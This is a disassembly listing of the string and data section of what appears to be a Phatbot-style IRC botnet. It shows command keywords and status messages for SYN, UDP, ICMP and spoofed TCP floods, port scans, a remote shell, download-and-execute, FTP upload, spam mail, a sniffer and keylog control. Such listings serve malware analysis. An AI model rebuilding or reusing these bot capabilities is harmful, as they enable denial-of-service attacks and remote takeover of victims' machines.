dword_42D6EC	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401AA1:loc_408494o
		dd 746E6573h, 2Eh
unk_42D708	db  2Dh	; -		; DATA XREF: sub_401AA1+69ECo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42D728	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401AA1+69ADo
		dd 732520h
unk_42D740	db  2Dh	; -		; DATA XREF: sub_401AA1+69A5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42D76C:				; DATA XREF: sub_401AA1+6987o
					; sub_40EC19+FAo ...
		dw 0Ah
		unicode	0, <>,0
unk_42D770	db  2Dh	; -		; DATA XREF: sub_401AA1+695Do
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42D794	db  2Dh	; -		; DATA XREF: sub_401AA1+6947o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
dword_42D7B8	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401AA1+68C4o
		dd 2E732520h, 0
unk_42D7D4	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_408322o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_42D804	db  2Dh	; -		; DATA XREF: sub_401AA1+686Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_42D82C	db  2Dh	; -		; DATA XREF: sub_401AA1+67C8o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_42D84C	db  2Dh	; -		; DATA XREF: sub_401AA1+6788o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_42D86C	db  2Dh	; -		; DATA XREF: sub_401AA1+672Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42D888	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401AA1+66BFo
dword_42D89C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401AA1+6685o
					; sub_401AA1+6DDFo
unk_42D8A8	db  2Dh	; -		; DATA XREF: sub_401AA1+665Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401AA1+664Do
		align 10h
dword_42D8D0	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401AA1+6622o
		dd 25203A29h, 73h
dword_42D8EC	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401AA1+65B6o
		dd 203A2973h, 7325h
dword_42D908	dd 45444F4Dh, 732520h	; DATA XREF: sub_401AA1+655Eo
dword_42D910	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401AA1+652Eo
		dd 203A2973h, 7325h
dword_42D92C	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401AA1+64B8o
dword_42D938	dd 0A0D7325h, 0		; DATA XREF: sub_401AA1+6486o
					; sub_401AA1+650Fo ...
dword_42D940	dd 54524150h, 732520h	; DATA XREF: sub_401AA1+644Do
dword_42D948	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AA1+6400o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42D984	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401AA1+63A7o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42D9B0	db  2Dh	; -		; DATA XREF: sub_401AA1+632Fo
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42D9EC	db  2Dh	; -		; DATA XREF: sub_401AA1+62D6o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42DA20	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_407D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_42DA54	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401AA1+622Fo
		dd 7325h
dword_42DA6C	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401AA1:loc_407C3Co
dword_42DA80	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401AA1+6157o
					; sub_401AA1+6209o ...
dword_42DA90	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AA1:loc_407BA9o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42DAD8	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AA1+60E9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42DB14	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401AA1+6090o
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401AA1+5FEBo
		align 4
dword_42DB4C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401AA1+5F8Co
		dd 7325203Ah, 0
unk_42DB68	db  2Dh	; -		; DATA XREF: sub_401AA1+5F81o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
dword_42DB8C	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401AA1:loc_40797Ao
					; sub_401AA1:loc_40850Ao
unk_42DB98	db  2Dh	; -		; DATA XREF: sub_401AA1+5EC1o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42DBBC	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_407940o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42DBF4	db  2Dh	; -		; DATA XREF: sub_401AA1+5E80o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42DC2C	db  2Dh	; -		; DATA XREF: sub_401AA1+5E1Co
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42DC58	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AA1+5D90o
aFailedToStartC	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42DC94	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401AA1+5D37o
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42DCC4	db  2Dh	; -		; DATA XREF: sub_401AA1+5CA9o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42DCFC	db  2Dh	; -		; DATA XREF: sub_401AA1+5C4Do
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42DD2C	db  2Dh	; -		; DATA XREF: sub_401AA1+5BB1o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_3	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42DD64	db  2Dh	; -		; DATA XREF: sub_401AA1+5B55o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42DD94	db  2Dh	; -		; DATA XREF: sub_401AA1+5ACAo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42DDCC	db  2Dh	; -		; DATA XREF: sub_401AA1+5A6Eo
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42DE08	db  2Dh	; -		; DATA XREF: sub_401AA1+59E3o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42DE48	db  2Dh	; -		; DATA XREF: sub_401AA1+598Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
		align 8
unk_42DE78	db  2Dh	; -		; DATA XREF: sub_401AA1+58A9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42DEBC	db  2Dh	; -		; DATA XREF: sub_401AA1+5850o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42DEF8	db  2Dh	; -		; DATA XREF: sub_401AA1+5757o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401AA1+56D3o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401AA1+55D1o
		align 4
dword_42DF54	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401AA1+553Do
					; sub_401AA1+670Bo
unk_42DF60	db  2Dh	; -		; DATA XREF: sub_401AA1+54C7o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42DFA0	db  2Dh	; -		; DATA XREF: sub_401AA1+546Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42DFF0	db  2Dh	; -		; DATA XREF: sub_401AA1+53C2o
					; sub_401AA1+57B0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42E028	db  2Dh	; -		; DATA XREF: sub_401AA1+5369o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 10h
unk_42E090	db  2Dh	; -		; DATA XREF: sub_401AA1+51F3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42E0C4	db  2Dh	; -		; DATA XREF: sub_401AA1+5196o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42E0F8	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_406B16o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42E128	db  2Dh	; -		; DATA XREF: sub_401AA1+506Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401AA1+5055o
aSS_3		db '-s:%s',0            ; DATA XREF: sub_401AA1+503Eo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401AA1+501Eo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401AA1+4FFAo
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401AA1+4FE9o
		align 4
unk_42E198	db  2Dh	; -		; DATA XREF: sub_401AA1+4F90o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
unk_42E1B8	db  2Dh	; -		; DATA XREF: sub_401AA1+4F37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42E1F8	db  2Dh	; -		; DATA XREF: sub_401AA1+4EC8o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_9	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42E230	db  2Dh	; -		; DATA XREF: sub_401AA1+4E6Fo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42E278	db  2Dh	; -		; DATA XREF: sub_401AA1+4DC1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42E2AC	db  2Dh	; -		; DATA XREF: sub_401AA1+4D8Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42E2E0	db  2Dh	; -		; DATA XREF: sub_401AA1+4D69o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42E318	db  2Dh	; -		; DATA XREF: sub_401AA1+4CB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401AA1+4C9Co
		align 4
unk_42E36C	db  2Dh	; -		; DATA XREF: sub_401AA1+4C72o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start flood thread, error: <%d>.',0
		align 8
unk_42E3A8	db  2Dh	; -		; DATA XREF: sub_401AA1+4C19o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42E3F0	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_40660Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42E428	db  2Dh	; -		; DATA XREF: sub_401AA1+4B4Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42E460	db  2Dh	; -		; DATA XREF: sub_401AA1+4AEBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401AA1+4ADBo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401AA1+4AD4o
unk_42E4A4	db  2Dh	; -		; DATA XREF: sub_401AA1+4A3Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401AA1+4A18o
					; sub_412BE2+2DDo
aSyn		db 'syn',0              ; DATA XREF: sub_401AA1+4A00o
					; sub_412BE2+2BDo
aHcon		db 'hcon',0             ; DATA XREF: sub_401AA1+49A2o
		align 10h
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401AA1+498Fo
unk_42E4E8	db  2Dh	; -		; DATA XREF: sub_401AA1+4940o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401AA1+48CCo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aUsa		db 'usa',0              ; DATA XREF: sub_401AA1+47CAo
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401AA1+47B3o
		align 4
aPing_0		db 'ping',0             ; DATA XREF: sub_401AA1+4785o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401AA1+476Eo
		align 10h
aNs		db 'ns',0               ; DATA XREF: sub_401AA1+4757o
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401AA1+4740o
aPu1		db 'pu1',0              ; DATA XREF: sub_401AA1+4712o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401AA1+46FBo
		align 4
aHjhg		db 'hjhg',0             ; DATA XREF: sub_401AA1+46E4o
		align 4
aFofofo		db 'fofofo',0           ; DATA XREF: sub_401AA1+46CDo
		align 4
aPsc		db 'psc',0              ; DATA XREF: sub_401AA1+46B6o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401AA1+469Fo
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401AA1+4679o
aC_action	db 'c_action',0         ; DATA XREF: sub_401AA1+4662o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401AA1+464Bo
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401AA1+4634o
		align 10h
aSc		db 'sc',0               ; DATA XREF: sub_401AA1+461Do
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401AA1+4606o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401AA1+45EFo
		align 10h
aRedirect	db 'redirect',0         ; DATA XREF: sub_401AA1+45D8o
		align 4
aKktt		db 'kktt',0             ; DATA XREF: sub_401AA1+45AAo
					; sub_401AA1+45C1o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401AA1+4593o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401AA1+457Co
		align 4
dword_42E618	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AA1+455Ao
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42E654	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401AA1+44FEo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401AA1+447Eo
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_401AA1+4467o
aSynflood	db 'synflood',0         ; DATA XREF: sub_401AA1+4450o
		align 4
unk_42E69C	db  2Dh	; -		; DATA XREF: sub_401AA1+442Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401AA1+436Do
		align 4
aUsa_rm		db 'usa.rm',0           ; DATA XREF: sub_401AA1+4356o
		align 10h
aUsa_ack	db 'usa.ack',0          ; DATA XREF: sub_401AA1+433Fo
aUsa_syn	db 'usa.syn',0          ; DATA XREF: sub_401AA1+4328o
aClone_0	db 'clone',0            ; DATA XREF: sub_401AA1+42FAo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401AA1+42D1o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401AA1+42BAo
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401AA1+42A3o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401AA1+428Co
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_401AA1+425Eo
aUpdkt		db 'updkt',0            ; DATA XREF: sub_401AA1+4230o
					; sub_401AA1+4247o
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401AA1+4219o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401AA1+4202o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401AA1+41EBo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401AA1+41D4o
					; sub_401AA1+61DCo
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401AA1+41BDo
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401AA1+41A6o
aT3		db 't3',0               ; DATA XREF: sub_401AA1+418Fo
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401AA1+4178o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401AA1+4161o
aC_part		db 'c_part',0           ; DATA XREF: sub_401AA1+414Ao
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401AA1+4133o
aC_join		db 'c_join',0           ; DATA XREF: sub_401AA1+411Co
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401AA1+4105o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401AA1+40EEo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401AA1+40D7o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401AA1+40C0o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401AA1+40A9o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401AA1+4092o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_401AA1+404Do
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401AA1+4036o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401AA1+3FDAo
aAddalias	db 'addalias',0         ; DATA XREF: sub_401AA1+3FACo
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401AA1+3F95o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401AA1+3F7Eo
aGh		db 'gh',0               ; DATA XREF: sub_401AA1+3F55o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401AA1+3F40o
unk_42E7DC	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4059C8o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42E7F8	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4059C1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401AA1+3EDEo
					; sub_408C5C+596o
		align 4
unk_42E824	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_405975o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42E844	db  2Dh	; -		; DATA XREF: sub_401AA1+3ECDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401AA1+3E4Do
		align 4
unk_42E86C	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4058E1o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42E88C	db  2Dh	; -		; DATA XREF: sub_401AA1+3E36o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401AA1+3DCDo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401AA1+3D76o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401AA1+3D5Co
		align 4
unk_42E8C8	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_4057F0o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42E8E8	db  2Dh	; -		; DATA XREF: sub_401AA1+3D45o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_42E90C	db  2Dh	; -		; DATA XREF: sub_401AA1+3CBDo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
dword_42E944	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AA1:loc_40572Fo
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42E964	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AA1+3C84o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42E99C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AA1+3C54o
aFailedToSta_14	db '- Failed to start server, error: <%d>.',0
		align 10h
dword_42E9D0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AA1:loc_4056A8o
aServerRunnin_0	db '- Server running on Port: 183.',0
		align 4
dword_42E9FC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401AA1+3BFDo
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401AA1+3BC4o
		align 4
unk_42EA24	db  2Dh	; -		; DATA XREF: sub_401AA1:loc_40565Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
		align 8
unk_42EA58	db  2Dh	; -		; DATA XREF: sub_401AA1+3BAFo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42EA98	db  2Dh	; -		; DATA XREF: sub_401AA1+3B6Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42EAD4	db  2Dh	; -		; DATA XREF: sub_401AA1+3B11o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
